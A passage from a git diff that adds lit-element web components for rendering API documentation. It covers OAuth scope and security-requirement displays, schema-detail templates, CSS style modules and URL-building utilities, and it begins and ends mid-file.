`; + } + + /** + * @param {ApiSecurityScope[]} scopes The oauth scopes + * @returns {TemplateResult|string} The template for the scopes list + */ + [scopesTemplate](scopes) { + if (!Array.isArray(scopes) || !scopes.length) { + return ''; + } + return html` +
+
Authorization scopes
+
    + ${scopes.map((scope) => this[scopeTemplate](scope))} +
+
`; + } + + /** + * @param {ApiSecurityScope} scope The access token URI + * @returns {TemplateResult} The template for an oauth scope + */ + [scopeTemplate](scope) { + const { name, description } = scope; + return html` +
  • + ${name} + ${description ? html`${description}` : ''} +
  • + `; + } +} diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js new file mode 100644 index 0000000..f7c8998 --- /dev/null +++ b/src/elements/ApiSecurityRequirementDocumentElement.js @@ -0,0 +1,67 @@ +import { html } from 'lit-element'; +import { + ApiDocumentationBase, + serializerValue, +} from './ApiDocumentationBase.js'; +import '../../api-parametrized-security-scheme.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */ + +export const securityRequirementValue = Symbol('securityRequirementValue'); + +export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase { + constructor() { + super(); + /** @type {ApiSecurityRequirement} */ + this[securityRequirementValue] = undefined; + /** @type {SecurityRequirement} */ + this.domainModel = undefined; + } + + /** + * @returns {ApiSecurityRequirement} + */ + get securityRequirement() { + return this[securityRequirementValue]; + } + + /** + * @param {ApiSecurityRequirement} value + */ + set securityRequirement(value) { + const old = this[securityRequirementValue]; + if (old === value) { + return; + } + this[securityRequirementValue] = value; + this.processGraph(); + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[securityRequirementValue] = this[serializerValue].securityRequirement(domainModel); + } + await this.requestUpdate(); + } + + render() { + const scheme = this[securityRequirementValue]; + if (!scheme || !scheme.schemes || !scheme.schemes.length) { + return html``; + } + return html` +
    + ${scheme.schemes.map((item) => html` + `)} +
    + `; + } +} diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js new file mode 100644 index 0000000..c52468d --- /dev/null +++ b/src/elements/SchemaCommonTemplates.js @@ -0,0 +1,474 @@ +import { html } from "lit-element"; +import { ns } from '@api-components/amf-helper-mixin'; +import { classMap } from "lit-html/directives/class-map"; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */ + +/** + * @param {string} label The label to render. + * @param {string} title The value of the title attribute + * @param {string[]=} [css=[]] The list of class names to add + * @return {TemplateResult} The template for a pill visualization object + */ +export function pillTemplate(label, title, css=[]) { + const classes = { + 'param-pill': true, + 'pill': true, + }; + css.forEach((item) => { classes[item] = true }); + return html` + + ${label} + `; +} + +/** + * @param {TemplateResult[]} pills The pills to render + * @returns {TemplateResult|string} + */ +function pillsLine(pills) { + if (!pills.length) { + return ''; + } + return html` +
    + ${pills} +
    + `; +} + +/** + * @param {TemplateResult[]} pills The pills to render + * @param {TemplateResult[]} items The table properties to render. + * @returns {TemplateResult} + */ +function pillsAndTable(pills, items) { + return html` + ${pillsLine(pills)} + ${items.length ? html`
    ${items}
    ` : ''} + `; +} + +/** + * @param {string} name The name of the parameter + * @param {boolean=} required Whether the parameter is required + * @param {boolean=} deprecated Whether the parameter is deprecated + * @return {TemplateResult} The template for the property name value. + */ +export function paramNameTemplate(name, required=false, deprecated=false) { + const label = String(name||''); + const classes = { + 'param-name': true, + required, + deprecated, + }; + return html` +
    + ${label} +
    + `; +} + +/** + * @param {string} type The parameter type label to render. + * @return {TemplateResult|string} The template for the parameter data type. + */ +export function typeValueTemplate(type) { + if (!type) { + return ''; + } + return html` +
    + ${type} +
    + `; +} + +/** + * @param {string} description The description to render. + * @return {TemplateResult|string} The template for the markdown description + */ +export function descriptionValueTemplate(description) { + if (!description) { + return ''; + } + return html` +
    + +
    +
    +
    + `; +} + +/** + * @param {string} label + * @param {string} value + * @return {TemplateResult} + */ +export function tablePropertyTemplate(label, value) { + return html` +
    +
    ${label}:
    +
    ${value}
    +
    + `; +} + + +export function detailSectionTemplate(items) { + return html` +
    + Details +
    + ${items} +
    +
    + `; +} + +/** + * @param {ApiScalarShape} schema + * @param {boolean=} noDetail When true it always render all properties, without the detail element. + * @return {TemplateResult|string} The template for the details of the scalar schema + */ +export function scalarDetailsTemplate(schema, noDetail) { + const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, deprecated } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (format) { + result.push(tablePropertyTemplate('Format', format)); + } + if (pattern) { + result.push(tablePropertyTemplate('Pattern', pattern)); + } + if (typeof minimum === 'number') { + result.push(tablePropertyTemplate('Minimum', String(minimum))); + } + if (typeof maximum === 'number') { + result.push(tablePropertyTemplate('Maximum', String(maximum))); + } + if (typeof minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(minLength))); + } + if (typeof maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(maxLength))); + } + if (typeof multipleOf === 'number') { + result.push(tablePropertyTemplate('Multiple of', String(multipleOf))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + // result.push(tablePropertyTemplate('Read only', 'yes')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + // result.push(tablePropertyTemplate('Write only', 'yes')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + // result.push(html` + //
    + //
    Deprecated:
    + //
    This property is deprecated
    + //
    + // `) + } + if (values.length) { + result[result.length] = html` +
    +
    Enum:
    +
      + ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} +
    +
    + `; + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (noDetail && result.length) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiNodeShape} schema + * @return {TemplateResult|string} The template for the details of the Node schema + */ +function nodeDetailsTemplate(schema) { + const { examples, maxProperties, minProperties, readOnly, writeOnly, deprecated } = schema; + const result = []; + const pills = []; + if (typeof minProperties === 'number') { + result.push(tablePropertyTemplate('Minimum properties', String(minProperties))); + } + if (typeof maxProperties === 'number') { + result.push(tablePropertyTemplate('Maximum properties', String(maxProperties))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + // result.push(tablePropertyTemplate('Read only', 'yes')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + // result.push(tablePropertyTemplate('Write only', 'yes')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiArrayShape} schema + * @return {TemplateResult|string} The template for the details of the Array schema + */ +function arrayDetailsTemplate(schema) { + const { examples, readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (uniqueItems) { + result.push(tablePropertyTemplate('Unique items', 'true')); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + // result.push(tablePropertyTemplate('Read only', 'yes')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + // result.push(tablePropertyTemplate('Write only', 'yes')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiUnionShape} schema + * @return {TemplateResult|string} The template for the details of the Union schema + */ +export function unionDetailsTemplate(schema) { + const { examples, readOnly, writeOnly, defaultValueStr, deprecated } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + // result.push(tablePropertyTemplate('Read only', 'yes')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + // result.push(tablePropertyTemplate('Write only', 'yes')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiFileShape} schema + * @return {TemplateResult|string} The template for the details of the File schema + */ +export function fileDetailsTemplate(schema) { + const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, fileTypes, deprecated } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (fileTypes && fileTypes.length) { + result.push(tablePropertyTemplate('File types', fileTypes.join(', '))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + // result.push(tablePropertyTemplate('Read only', 'yes')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + // result.push(tablePropertyTemplate('Write only', 'yes')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (format) { + result.push(tablePropertyTemplate('Format', format)); + } + if (pattern) { + result.push(tablePropertyTemplate('Name pattern', pattern)); + } + if (typeof minimum === 'number') { + result.push(tablePropertyTemplate('Minimum size', String(minimum))); + } + if (typeof maximum === 'number') { + result.push(tablePropertyTemplate('Maximum size', String(maximum))); + } + if (typeof minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(minLength))); + } + if (typeof maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(maxLength))); + } + if (typeof multipleOf === 'number') { + result.push(tablePropertyTemplate('Multiple of', String(multipleOf))); + } + if (values.length) { + result[result.length] = html` +
    +
    Enum:
    +
      + ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} +
    +
    + `; + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiShapeUnion} schema The schema definition. + * @return {TemplateResult|string} The template for the property details. + */ +export function detailsTemplate(schema) { + if (!schema) { + return ''; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return scalarDetailsTemplate(/** @type ApiScalarShape */ (schema)); + } + if (types.includes(ns.w3.shacl.NodeShape)) { + return nodeDetailsTemplate(/** @type ApiNodeShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + return arrayDetailsTemplate(/** @type ApiArrayShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + return unionDetailsTemplate(/** @type ApiUnionShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return fileDetailsTemplate(/** @type ApiFileShape */ (schema)); + } + return '' +} diff --git a/src/elements/styles/ApiDocumentationDocument.js b/src/elements/styles/ApiDocumentationDocument.js new file mode 100644 index 0000000..b5b1504 --- /dev/null +++ b/src/elements/styles/ApiDocumentationDocument.js @@ -0,0 +1,19 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.documentation-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.documentation-title .label { + font-size: var(--documentation-title-size, 32px); + font-weight: var(--documentation-title-weight, 400); + margin: 12px 0px; +} +`; diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js new file mode 100644 index 0000000..776ccdd --- /dev/null +++ b/src/elements/styles/ApiOperation.js @@ -0,0 +1,33 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.operation-header { + margin-bottom: 32px; +} + +.operation-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.operation-title .label { + font-size: var(--operation-title-size, 26px); + font-weight: var(--operation-title-weight, 400); + margin: 8px 0px; +} + +.sub-header { + font-size: 0.95rem; + color: var(--operation-subheader-color, #616161); + margin: 0; +} + +.params-section { + padding-bottom: 20px; +} +`; diff --git a/src/elements/styles/ApiParameter.js b/src/elements/styles/ApiParameter.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiParameter.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiPayload.js b/src/elements/styles/ApiPayload.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiPayload.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiRequest.js b/src/elements/styles/ApiRequest.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiRequest.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiResource.js b/src/elements/styles/ApiResource.js new file mode 100644 index 0000000..bd77adf --- /dev/null +++ b/src/elements/styles/ApiResource.js @@ -0,0 +1,33 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.endpoint-header { + margin-bottom: 40px; +} + +.endpoint-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.endpoint-title .label { + font-size: var(--resource-title-size, 32px); + font-weight: var(--resource-title-weight, 400); + margin: 12px 0px; +} + +.sub-header { + font-size: 0.95rem; + color: var(--resource-subheader-color, #616161); + margin: 0; +} + +amf-operation-document { + margin: 60px 0; +} +`; diff --git a/src/elements/styles/ApiResponse.js b/src/elements/styles/ApiResponse.js new file mode 100644 index 0000000..a841d28 --- /dev/null +++ b/src/elements/styles/ApiResponse.js @@ -0,0 +1,8 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +`; diff --git a/src/elements/styles/ApiSchema.js b/src/elements/styles/ApiSchema.js new file mode 100644 index 0000000..be61581 --- /dev/null +++ b/src/elements/styles/ApiSchema.js @@ -0,0 +1,24 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.schema-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.schema-title .label { + font-size: var(--schema-title-size, 32px); + font-weight: var(--schema-title-weight, 400); + margin: 12px 0px; +} + +.schema-title.low-emphasis .label { + font-size: var(--schema-title-low-emphasis-size, 1.1rem); + font-weight: var(--schema-title-low-emphasis-weight, 400); +} +`; diff --git a/src/elements/styles/ApiSecurityDocument.js b/src/elements/styles/ApiSecurityDocument.js new file mode 100644 index 0000000..9421d78 --- /dev/null +++ b/src/elements/styles/ApiSecurityDocument.js @@ -0,0 +1,85 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.security-header { + margin-bottom: 32px; +} + +.security-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.security-title .label { + font-size: var(--security-title-size, 26px); + font-weight: var(--security-title-weight, 400); + margin: 8px 0px; +} + +.sub-header { + font-size: 0.95rem; + color: var(--security-subheader-color, #616161); + margin: 0; +} + +.params-section { + padding-bottom: 20px; +} + +.param-info { + margin: 12px 0; +} + +.param-info .location { + margin-bottom: 8px; +} + +.schema-example { + margin: 20px 0; +} + +.scopes-list { + margin: 20px 0; + padding: 0px 12px; +} + +.scope-value { + display: block; + margin: 8px 0px; + padding: 8px 0; +} + +.scope-value:not(:last-of-type) { + border-bottom: 1px #e5e5e5 dashed; +} + +.scope-name { + display: block; + font-size: 1.1rem; + user-select: text; +} + +.scope-description { + display: block; + margin-top: 4px; +} + +.value-title { + user-select: text; + font-weight: 400; + font-size: 1.2em; +} + +.grant-title { + font-size: 1.2em; +} + +.flow-section { + margin: 40px 0; +} +`; diff --git a/src/elements/styles/AuthorizationEditor.js b/src/elements/styles/AuthorizationEditor.js new file mode 100644 index 0000000..0c6c0ac --- /dev/null +++ b/src/elements/styles/AuthorizationEditor.js @@ -0,0 +1,21 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.auth-label, +.auth-selector-label { + display: flex; + flex-direction: row; + align-items: center; + margin: 12px 8px; +} + +.auth-selector-label { + font-size: var(--arc-font-subhead-font-size); + font-weight: var(--arc-font-subhead-font-weight); + line-height: var(--arc-font-subhead-line-height); +} +`; diff --git a/src/elements/styles/AuthorizationMethod.js b/src/elements/styles/AuthorizationMethod.js new file mode 100644 index 0000000..f4e8972 --- /dev/null +++ b/src/elements/styles/AuthorizationMethod.js @@ -0,0 +1,59 @@ +import { css } from 'lit-element'; + +export default css` +.form-input { + flex: 1; + margin: 0; +} + +.params-section { + margin: 20px 0; +} + +.section-title .label { + font-style: var(--http-request-section-title-font-size, 1.2rem); + font-weight: var(--http-request-section-title-font-weight, 500); +} + +.form-item { + margin: 12px 0; + display: flex; + align-items: center; + flex-direction: row; +} + +.array-form-item { + padding-left: 8px; + border-left: 1px var(--http-request-array-section-border-color, rgba(0, 0, 0, 0.14)) solid; +} + +.subtitle { + display: flex; + flex-direction: row; + align-items: center; + margin: 12px 8px; +} + +.section-title { + margin: 20px 8px 0px 8px; + display: block; +} + +arc-marked { + background-color: var(--inline-documentation-background-color, #FFF3E0); + padding: 4px; +} + +anypoint-input, anypoint-dropdown-menu, anypoint-masked-input { + flex: 1; + width: auto; + margin: 20px 0; +} + +.form-item anypoint-input, +.form-item anypoint-dropdown-menu, +.form-item anypoint-masked-input { + margin: 0; +} + +`; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js new file mode 100644 index 0000000..9673fd8 --- /dev/null +++ b/src/elements/styles/Common.js @@ -0,0 +1,105 @@ +import { css } from 'lit-element'; + +export default css` +.api-description { + margin-top: 16px; +} + +.api-description arc-marked { + margin: 0; + padding: 0; + padding-bottom: 20px; +} + +.endpoint-url { + margin: 20px 0; + padding: 16px 12px; + background-color: var(--api-endpoint-url-background-color, #2D2D2D); + color: var(--api-endpoint-url-color, #fff); + display: flex; + align-items: center; + flex-direction: row; + font-family: var(--code-font-family); + font-size: var(--api-endpoint-url-font-size, 1.07rem); + border-radius: var(--api-endpoint-url-border-radius, 4px); +} + +.endpoint-url .method-label { + text-transform: uppercase; + white-space: nowrap; + margin: 0; +} + +.endpoint-url .url-value { + flex: 1; + margin-left: 12px; + word-break: break-all; +} + +.property-item { + border-bottom: 1px var(--operation-params-property-border-color, #C6c6c6) solid; + margin: 20px 0; +} + +.params-title { + display: flex; + align-items: center; + flex-direction: row; + border-bottom: 1px var(--operation-params-title-border-color, #D6D6D6) solid; +} + +.params-title .label { + font-size: var(--operation-params-title-size, 22px); + font-weight: var(--operation-params-title-weight, 400); + margin: 20px 0; +} + +.section-toggle { + margin-left: auto; +} + +.toggle-icon { + transition: transform 0.23s linear; +} + +.opened .toggle-icon { + transform: rotate(180deg); +} + +.media-type { + margin: 12px 0; +} + +.media-type span { + font-weight: 500; +} + +.amf-media-types { + margin: 12px 0; +} + +.deprecated { + text-decoration: line-through; +} + +.deprecated-message { + font-weight: bold; + margin: 12px 0; + padding: 12px 8px; + background-color: var(--deprecated-message-background-color, #ffc107); + color: var(--deprecated-message-color, var(--primary-text-color, #000)); + display: flex; + align-items: center; + border-radius: 4px; +} + +.deprecated-message .message { + margin-left: 12px; +} + +.empty-info { + font-size: 1.1rem; + margin-left: 24px; + padding: 12px 0; +} +`; diff --git a/src/elements/styles/HttpRequest.js b/src/elements/styles/HttpRequest.js new file mode 100644 index 0000000..d5369de --- /dev/null +++ b/src/elements/styles/HttpRequest.js @@ -0,0 +1,39 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.amf-server-selector, +.param-selector, +.form-input { + flex: 1; + margin: 0; +} + +.params-section { + margin: 20px 0; +} + +.section-title .label { + font-style: var(--http-request-section-title-font-size, 1.2rem); + font-weight: var(--http-request-section-title-font-weight, 500); +} + +.form-item { + margin: 12px 0; + display: flex; + align-items: center; + flex-direction: row; +} + +.array-form-item { + padding-left: 8px; + border-left: 1px var(--http-request-array-section-border-color, rgba(0, 0, 0, 0.14)) solid; +} + +.auth-selector { + margin: 12px 0; +} +`; diff --git a/src/elements/styles/ParametrizedSecurityElement.js b/src/elements/styles/ParametrizedSecurityElement.js new file mode 100644 index 0000000..c864fe4 --- /dev/null +++ b/src/elements/styles/ParametrizedSecurityElement.js @@ -0,0 +1,14 @@ +import { css } from 'lit-element'; + +export default css` +.security-title .label { + font-size: var(--parametrized-security-title-size, 18px); + font-weight: var(--parametrized-security-title-weight, 500); +} + +.params-title .label { + font-size: var(--parametrized-security-params-title-size, 16px); + font-weight: var(--parametrized-security-params-title-weight, 400); + margin: 12px 0px; +} +`; diff --git a/src/elements/styles/SchemaCommon.js b/src/elements/styles/SchemaCommon.js new file mode 100644 index 0000000..ff79982 --- /dev/null +++ b/src/elements/styles/SchemaCommon.js @@ -0,0 +1,315 @@ +import { css } from "lit-element"; + +export default css` + :host { + --column-padding-left: 84px; + --property-border-width: 3px; + --property-border-color: var(--primary-color, #2196f3); + --property-container-padding: 12px; + } + + .property-container { + display: flex; + align-items: flex-start; + } + + .property-container.simple { + flex-direction: column; + } + + .property-border { + width: var(--property-border-width); + min-width: var(--property-border-width); + align-self: stretch; + background-color: var(--property-border-color); + } + + .property-value { + padding: var(--property-container-padding) 0px; + flex: 1; + } + + .property-container:last-of-type .property-border { + align-self: flex-start; + /* padding of the content container + title container / 2 + border size / 2 */ + height: calc(var(--property-container-padding) + 52px / 2 + var(--property-border-width) / 2); + border-bottom-left-radius: var(--property-border-width); + } + + .shape-children .property-container:first-of-type .property-border { + border-top-right-radius: var(--property-border-width); + } + + .shape-children { + display: flex; + position: relative; + } + + .shape-children > .property-border { + background-color: var(--property-children-border-color, #bdbdbd); + margin-right: 21px; + } + + .shape-children::before { + content: ''; + width: calc(18px + var(--property-border-width) * 2); + height: var(--property-border-width); + background-color: var(--property-border-color); + position: absolute; + left: 0px; + top: 0px; + border-bottom-left-radius: var(--property-border-width); + } + + .shape-children:last-of-type > .property-border { + background-color: transparent; + } + + .union-options { + padding: 12px 0px 12px 20px; + border-left: var(--property-border-width) var(--property-border-color) dashed; + box-sizing: border-box; + } + + .shape-children:last-of-type > .property-border { + margin-bottom: 60px; + } + + .property-decorator { + width: var(--column-padding-left); + align-self: stretch; + display: flex; + align-items: center; + padding-right: 20px; + color: var(--property-border-color); + box-sizing: border-box; + } + + .property-decorator hr { + width: 100%; + border-color: currentColor; + border-width: var(--property-border-width); + border-style: solid; + border-top: none; + } + + .property-decorator.scalar::after { + content: ""; + display: inline-block; + width: 16px; + height: 16px; + min-width: 16px; + border-radius: 50%; + background-color: transparent; + border: 3px solid currentColor; + } + + .property-decorator.object::after { + content: ""; + display: inline-block; + width: 16px; + height: 16px; + min-width: 16px; + background-color: transparent; + border: 3px solid currentColor; + } + + .property-decorator.object .object-toggle-icon { + cursor: pointer; + } + + .object-toggle-icon { + width: 24px; + height: 24px; + min-width: 24px; + fill: currentColor; + transition: transform 0.23s linear; + } + + .object-toggle-icon.opened { + transform: rotate(90deg); + } + + .property-headline, + .property-container.simple .name-column { + display: flex; + align-items: center; + flex-direction: row; + height: 52px; + } + + .property-container:not(.simple) .name-column { + width: 140px; + margin-right: 20px; + } + + .property-container:not(.simple) .description-column { + padding-left: var(--column-padding-left); + } + + .property-container:not(.simple) .details-column { + padding-left: var(--column-padding-left); + } + + .details-column { + align-self: stretch; + } + + .param-name { + font-weight: 500; + font-size: 1.2rem; + word-break: break-all; + } + + .param-name.required::after { + content: '*'; + margin-left: -4px; + } + + .param-name.deprecated { + text-decoration: line-through; + } + + .headline-separator { + display: inline-block; + width: 1px; + background-color: gray; + align-self: stretch; + margin: 12px 20px; + } + + .param-type { + margin: 12px 0; + } + + .schema-property-item { + display: flex; + align-items: flex-start; + margin: 8px 0; + } + + .schema-property-label { + font-weight: 500; + margin-right: 8px; + } + + .schema-property-label.example { + margin-top: 8px; + } + + .schema-property-value { + word-break: break-all; + } + + .enum-items { + display: flex; + flex-wrap: wrap; + margin: 0; + padding: 0; + } + + .enum-items li { + list-style: none; + } + + .schema-example { + margin-bottom: 12px; + } + + .schema-example pre { + white-space: pre-wrap; + word-break: break-all; + margin: 0; + padding: 8px 4px; + } + + .schema-example summary { + font-size: 1.1rem; + padding: 8px 12px; + background-color: var(--api-example-title-background-color, #ff9800); + color: var(--api-example-title-color, #000); + border-radius: 4px; + cursor: default; + transition: border-radius ease-in-out 0.2s; + } + + .schema-example[open] summary { + border-bottom-right-radius: 0px; + border-bottom-left-radius: 0px; + } + + .code-value { + margin: 0px 4px; + padding: 2px 4px; + background-color: var(--code-background-color); + word-break: break-all; + white-space: pre-wrap; + } + + .code-value.inline { + padding: 0 4px; + } + + .code-value, + .code-value code { + font-family: var(--code-font-family); + user-select: text; + } + + .property-details { + margin: 20px 0; + } + + .property-details summary { + margin: 20px 0; + cursor: default; + } + .property-details summary .label { + margin-left: 8px; + } + + .example-items { + margin: 0; + padding: 0; + flex: 1; + } + + .example-items li { + display: block; + margin: 4px 0; + padding: 4px; + width: 100%; + white-space: pre-wrap; + background-color: var( + --operation-params-example-background-color, + var(--code-background-color) + ); + color: var(--operation-params-example-color, var(--code-color, inherit)); + } + + .pill { + padding: 2px 12px; + background-color: var(--pill-background-color, #e5e5e5); + color: var(--pill-color, var(--primary-text-color, #000)); + border-radius: 12px; + margin: 4px; + } + + .pill.warning { + background-color: var(--pill-warning-background-color, #ffc107); + color: var(--pill-warning-color, var(--primary-text-color, #000)); + } + + .pill:first-child { + margin-left: 0; + } + + .pill:last-child { + margin-right: 0; + } + + .param-pills { + display: flex; + align-items: center; + } +`; diff --git a/src/lib/UrlUtils.js b/src/lib/UrlUtils.js new file mode 100644 index 0000000..282620b --- /dev/null +++ b/src/lib/UrlUtils.js @@ -0,0 +1,155 @@ +/* eslint-disable no-param-reassign */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ + +/** + * Computes the URL value for the current serves, selected server, and endpoint's path. + * @param {ApiEndPoint} endpoint + * @param {ApiServer[]} servers + * @param {string} serverId + * @returns {string} The URL template value. + */ + export function computeEndpointUrlValue(endpoint, servers, serverId) { + let result = ''; + let server; + if (Array.isArray(servers) && servers.length) { + if (serverId) { + server = servers.find((item) => item.id === serverId); + } else { + [server] = servers; + } + } + if (server) { + result += server.url; + if (result.endsWith('/')) { + result = result.substr(0, result.length - 1); + } + } + if (endpoint) { + let { path='' } = endpoint; + if (path[0] !== '/') { + path = `/${path}`; + } + result += path; + } + if (!result) { + result = '(unknown path)'; + } + return result; +} + +/** + * @param {string} str A key or value to encode as x-www-form-urlencoded. + * @param {boolean} replacePlus When set it replaces `%20` with `+`. + * @returns {string} . + */ +export function wwwFormUrlEncode(str, replacePlus) { + // Spec says to normalize newlines to \r\n and replace %20 spaces with +. + // jQuery does this as well, so this is likely to be widely compatible. + if (!str) { + return ''; + } + let result = encodeURIComponent(str.toString().replace(/\r?\n/g, '\r\n')); + if (replacePlus) { + result = result.replace(/%20/g, '+'); + } + return result; +} + +/** + * Creates a RegExp object to replace template variable from the base string + * @param {string} name Name of the parameter to be replaced + * @return {RegExp} + */ +function createUrlReplaceRegex(name) { + if (name[0] === '+' || name[0] === '#') { + // eslint-disable-next-line no-param-reassign + name = `\\${ name}`; + } + return new RegExp(`{${name}}`, 'g'); +} + +/** + * @param {string} url The current URL + * @param {Record} variables The path variables to apply. + * @param {boolean} encode Whether to encode parameters. + */ +export function applyUrlVariables(url, variables, encode) { + let result = url || ''; + 